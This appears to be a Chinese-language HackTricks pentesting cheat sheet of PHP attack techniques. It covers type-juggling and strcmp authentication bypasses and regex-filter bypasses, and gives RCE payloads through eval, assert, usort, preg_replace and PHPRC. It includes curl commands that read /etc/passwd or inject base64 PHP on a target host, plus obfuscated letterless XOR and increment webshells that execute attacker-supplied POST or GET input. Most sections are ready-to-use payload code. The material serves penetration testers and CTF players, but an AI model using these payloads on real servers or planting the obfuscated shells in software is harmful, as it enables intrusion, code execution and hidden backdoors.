> For the complete documentation index, see [llms.txt](https://hacktricks.xsx.tw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktricks.xsx.tw/network-services-pentesting/pentesting-web/php-tricks-esp.md).

# PHP Tricks

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>

支持 HackTricks 的其他方式：

* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。

</details>

<figure><img src="/files/YM7uBW8YtIhrJWT3a6lG" alt=""><figcaption></figcaption></figure>

{% embed url="<https://websec.nl/>" %}

## Cookies 常见位置：

这也适用于 phpMyAdmin 的 cookies。

Cookies:

```
PHPSESSID
phpMyAdmin
```

位置：

```
/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
```

## 绕过 PHP 比较

### 弱比较/类型转换（==）

如果在 PHP 中使用 `==`，则存在意外情况，比较的行为与预期不同。这是因为 "==" 只比较转换为相同类型的值，如果您还想比较所比较数据的类型是否相同，您需要使用 `===`。

PHP 比较表格：<https://www.php.net/manual/en/types.comparisons.php>

![](/files/FdOUR5xElhnsMgnf3kD9)

{% file src="/files/izDtgZTRNIPHPPwXN9w6" %}

* `"string" == 0 -> True` 以非数字开头的字符串等于数字
* `"0xAAAA" == "43690" -> True` 由十进制或十六进制格式的数字组成的字符串可以与其他数字/字符串进行比较，如果数字相同，则结果为 True（字符串中的数字被解释为数字）
* `"0e3264578" == 0 --> True` 以 "0e" 开头并跟随任何内容的字符串将等于 0
* `"0X3264578" == 0X --> True` 以 "0" 开头并跟随任何字母（X 可以是任何字母）和任何内容的字符串将等于 0
* `"0e12334" == "0" --> True` 这非常有趣，因为在某些情况下，您可以控制以 "0" 开头的字符串输入以及正在被散列并与之比较的某些内容。因此，如果您可以提供一个将创建以 "0e" 开头且没有任何字母的哈希的值，您可以绕过比较。您可以在此处找到具有此格式的**已散列字符串**：<https://github.com/spaze/hashes>
* `"X" == 0 --> True` 字符串中的任何字母等于整数 0

更多信息请参阅 <https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09>

### **in\_array()**

**类型转换** 也会影响到 `in_array()` 函数，默认情况下（需要将第三个参数设置为 true 才能进行严格比较）：

```php
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False
```

### strcmp()/strcasecmp()

如果此函数用于**任何身份验证检查**（比如检查密码），并且用户控制比较的一侧，他可以发送一个空数组而不是一个字符串作为密码的值（`https://example.com/login.php/?username=admin&password[]=`），从而绕过此检查：

```php
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
```

### 严格类型转换

即使使用 `===`，仍可能出现错误，使比较容易受到类型转换的影响。例如，如果比较在比较之前将数据转换为不同类型的对象：

```php
(int) "1abc" === (int) "1xyz" //This will be true
```

### preg\_match(/^.\*/)

**`preg_match()`** 可用于**验证用户输入**（它**检查**用户输入中是否存在**黑名单**中的任何**单词/正则表达式**，如果没有，则代码可以继续执行）。

#### 换行符绕过

然而，当限定正则表达式的开头时，`preg_match()` **只检查用户输入的第一行**，如果你可以**以多行的方式发送**输入，你就可以绕过这个检查。例如：

```php
$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
```

要绕过此检查，您可以使用**新行进行url编码**（`%0A`）发送该值，或者如果可以发送**JSON数据**，请将其**分成多行**发送：

```php
{
"cmd": "cat /etc/passwd"
}
```

找到一个示例：<https://ramadistra.dev/fbctf-2019-rceservice>

#### **长度错误绕过**

（这个绕过似乎是在 PHP 5.2.5 上尝试的，我无法在 PHP 7.3.15 上使其工作）\
如果你可以向 `preg_match()` 发送一个非常**大的有效输入**，它**无法处理**它，你就可以**绕过**检查。例如，如果它在黑名单中列出了一个 JSON，你可以发送：

```bash
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
```

#### ReDoS绕过

技巧来源：<https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223> 和 <https://mizu.re/post/pong>

<figure><img src="/files/UqV9c3wpc1u9A3sDPOQX" alt=""><figcaption></figcaption></figure>

简而言之，问题发生在PHP中的`preg_*`函数上，它建立在[PCRE库](http://www.pcre.org/)之上。在PCRE中，某些正则表达式是通过大量递归调用来匹配的，这会使用大量堆栈空间。可以设置允许的递归次数上限，但在PHP中，此限制[默认为100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)，这超出了堆栈的容量。

[这个Stackoverflow主题](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error)也在帖子中链接，其中更深入地讨论了这个问题。我们的任务现在很明确：\
**发送一个输入，使正则表达式执行100,000次以上的递归，导致SIGSEGV，使`preg_match()`函数返回`false`，从而使应用程序认为我们的输入不是恶意的，最后在有效载荷的结尾处添加类似`{system(<verybadcommand>)}` 的内容，以获取SSTI --> RCE --> flag :)**。

在正则表达式术语中，我们实际上并没有执行10万次“递归”，而是在计算“回溯步骤”，正如[PHP文档](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)所述，默认情况下，在`pcre.backtrack_limit`变量中默认为1,000,000（1M）。\
要达到这个目标，`'X'*500_001`将导致100万个回溯步骤（50万个向前和50万个向后）。

```python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
```

### 用于 PHP 混淆的类型转换

```php
$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7
```

## 在重定向后执行（EAR）

如果 PHP 正在重定向到另一个页面，但在设置了 **`Location`** 头之后没有调用 **`die`** 或 **`exit`** 函数，PHP 将继续执行并将数据附加到主体中：

```php
<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>
```

## 路径遍历和文件包含利用

检查:

{% content-ref url="/pages/ULpIa8hwctY3VwsLiX9w" %}
[File Inclusion/Path traversal](/pentesting-web/file-inclusion.md)
{% endcontent-ref %}

## 更多技巧

* **register\_globals**: 在 **PHP < 4.1.1.1** 或者配置错误的情况下，**register\_globals** 可能会被激活（或者它们的行为被模仿）。这意味着在全局变量中，比如 $\_GET 如果它们有一个值，比如 $\_GET\["param"]="1234"，你可以通过 **$param 访问它。因此，通过发送 HTTP 参数，你可以覆盖在代码中使用的变量**。
* **PHPSESSION cookies of the same domain are stored in the same place**，因此如果在一个域中**不同路径中使用不同的 cookies**，你可以使一个路径**访问另一个路径的 cookie**，设置另一个路径 cookie 的值。这样，如果**两个路径访问具有相同名称的变量**，你可以使**路径1 中该变量的值应用于路径2**。然后路径2 将视路径1 的变量为有效（通过给 cookie 分配在路径2 中对应的名称）。
* 当你有机器用户的**用户名**时，请检查地址: **/\~\<USERNAME>** 看看是否激活了 php 目录。
* [**使用 php wrappers 进行 LFI 和 RCE**](/pentesting-web/file-inclusion.md)

### password\_hash/password\_verify

这些函数通常用于 PHP 中**从密码生成哈希**，以及**检查**密码是否与哈希匹配。\
支持的算法有：`PASSWORD_DEFAULT` 和 `PASSWORD_BCRYPT`（以 `$2y$` 开头）。请注意，**PASSWORD\_DEFAULT 经常与 PASSWORD\_BCRYPT 相同**。目前，**PASSWORD\_BCRYPT** 在输入上有一个**大小限制为 72 字节**。因此，当你尝试使用此算法对大于 72 字节的内容进行哈希时，只有前 72 字节会被使用：

```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False

$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True
```

### HTTP 头绕过滥用 PHP 错误

如果一个 **PHP 页面正在打印错误并回显用户提供的一些输入**，用户可以使 PHP 服务器打印回一些 **足够长的内容**，以便当它尝试 **将头部添加到响应** 时，服务器会抛出错误。\
在以下场景中，**攻击者让服务器抛出一些大错误**，正如您在屏幕上看到的，当 PHP 尝试 **修改头部信息时，它无法**（例如 CSP 头部未发送给用户）：

![](/files/gSxz5IgyPb4oxlUKlog6)

## 代码执行

**system("ls");**\
\&#xNAN;**\`ls\`;**\
**shell\_exec("ls");**

[查看这里获取更多有用的 PHP 函数](/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass.md)

### **通过 preg\_replace() 实现 RCE**

```php
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
```

要执行“replace”参数中的代码，至少需要一个匹配项。\
这个preg\_replace选项在PHP 5.5.0版本之后已经**被弃用**。

### **通过Eval()实现RCE**

```
'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>
```

### **通过 Assert() 实现 RCE**

这个 php 中的函数允许你**执行以字符串形式编写的代码**，以便**返回 true 或 false**（并根据此修改执行）。通常用户变量会被插入到字符串的中间。例如：\
`assert("strpos($_GET['page']),'..') === false")` --> 在这种情况下，要获得**RCE**，你可以这样做：

```
?page=a','NeVeR') === false and system('ls') and strpos('a
```

### 通过 usort() 实现远程代码执行（RCE）

该函数用于使用特定函数对项目数组进行排序。\
要滥用此函数：

```php
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#

<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
```

```php
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#

<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>
```

### 使用 **//** 进行代码注释。

要发现需要关闭的括号数量：

* `?order=id;}//`：我们收到一个错误消息（`Parse error: syntax error, unexpected ';'`）。我们可能缺少一个或多个括号。
* `?order=id);}//`：我们收到一个 **警告**。看起来差不多。
* `?order=id));}//`：我们收到一个错误消息（`Parse error: syntax error, unexpected ')' i`）。我们可能有太多的闭合括号。

### 通过 .httaccess 实现 RCE

如果你可以 **上传** 一个 **.htaccess** 文件，那么你可以 **配置** 几个东西，甚至执行代码（配置扩展名为 .htaccess 的文件可以 **执行**）。

可以在[这里](https://github.com/wireghoul/htshells)找到不同的 .htaccess shells。

### 通过环境变量实现 RCE

如果你发现一个允许你 **修改 PHP 环境变量** 的漏洞（以及另一个允许上传文件的漏洞，尽管通过更多研究可能可以绕过此问题），你可以滥用这种行为来实现 **RCE**。

* [**`LD_PRELOAD`**](/linux-hardening/privilege-escalation.md#ld_preload-and-ld_library_path)：这个环境变量允许你在执行其他二进制文件时加载任意库（尽管在这种情况下可能不起作用）。
* **`PHPRC`**：指示 PHP **查找其配置文件** 的位置，通常称为 `php.ini`。如果你可以上传自己的配置文件，那么使用 `PHPRC` 来指向 PHP。添加一个 **`auto_prepend_file`** 条目，指定第二个上传的文件。这第二个文件包含正常的 **PHP 代码，然后由 PHP 运行时执行**，在执行任何其他代码之前。

1. 上传一个包含我们的 shellcode 的 PHP 文件
2. 上传第二个文件，其中包含一个 **`auto_prepend_file`** 指令，指示 PHP 预处理器执行我们在步骤 1 中上传的文件
3. 将 `PHPRC` 变量设置为我们在步骤 2 中上传的文件。

* 获取有关如何执行此链的更多信息[**来自原始报告**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)。
* **PHPRC** - 另一个选项
* 如果你 **无法上传文件**，你可以在 FreeBSD 中使用包含 **`stdin`** 的 "file" `/dev/fd/0`，作为发送到 `stdin` 的请求的 **主体**：
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
* 或者要获得 RCE，启用 **`allow_url_include`** 并在一个文件前添加 **base64 PHP 代码**：
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
* 技术[**来自此报告**](https://vulncheck.com/blog/juniper-cve-2023-36845)。

## PHP 静态分析

查看是否可以在对这些函数的调用中插入代码（来自[这里](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)）:

```php
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
```

如果您正在调试PHP应用程序，可以在`/etc/php5/apache2/php.ini`中添加`display_errors = On`来全局启用错误打印，并重新启动apache：`sudo systemctl restart apache2`

### 解密PHP代码

您可以使用**web**[ **www.unphp.net**](http://www.unphp.net) **来解密php代码。**

## PHP包装器和协议

PHP包装器和协议可以让您在系统中**绕过写入和读取保护**，从而对其进行破坏。有关[**更多信息，请查看此页面**](/pentesting-web/file-inclusion.md#lfi-rfi-using-php-wrappers-and-protocols)。

## Xdebug未经身份验证的RCE

如果您发现`phpconfig()`输出中启用了**Xdebug**，则应尝试通过<https://github.com/nqxcode/xdebug-exploit>获取RCE

## 变量变量

```php
$x = 'Da';
$$x = 'Drums';

echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
```

## 利用新的 $\_GET\["a"]\($\_GET\["b"])

如果在一个页面中**可以创建任意类的新对象**，则可能能够获得RCE，请查看以下页面以了解详情：

{% content-ref url="/pages/7Ss9gldyN63DgkIRCwt2" %}
[PHP - RCE abusing object creation: new $\_GET\["a"\]($\_GET\["b"\])](/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md)
{% endcontent-ref %}

## 在不使用字母的情况下执行PHP

<https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/>

### 使用八进制

```php
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
```

### **异或**

```php
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
```

### XOR 简易 shell 代码

根据[**这篇解析**](https://mgp25.com/ctf/Web-challenge/)，可以通过以下方式生成一个简单的 shellcode：

```php
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
```

所以，如果您可以**执行任意PHP代码而不使用数字和字母**，您可以发送类似以下滥用该有效负载以执行任意PHP代码的请求：

```
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
```

要获取更详细的解释，请查看<https://ctf-wiki.org/web/php/php/#preg_match>

### 异或 Shellcode（在 eval 中）

```bash
#!/bin/bash

if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi

CMD=$1
CODE="\$_='\
```

```php
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
```

```php
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
```

### Perl 类似

```php
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
```

<figure><img src="/files/YM7uBW8YtIhrJWT3a6lG" alt=""><figcaption></figcaption></figure>

{% embed url="<https://websec.nl/>" %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>
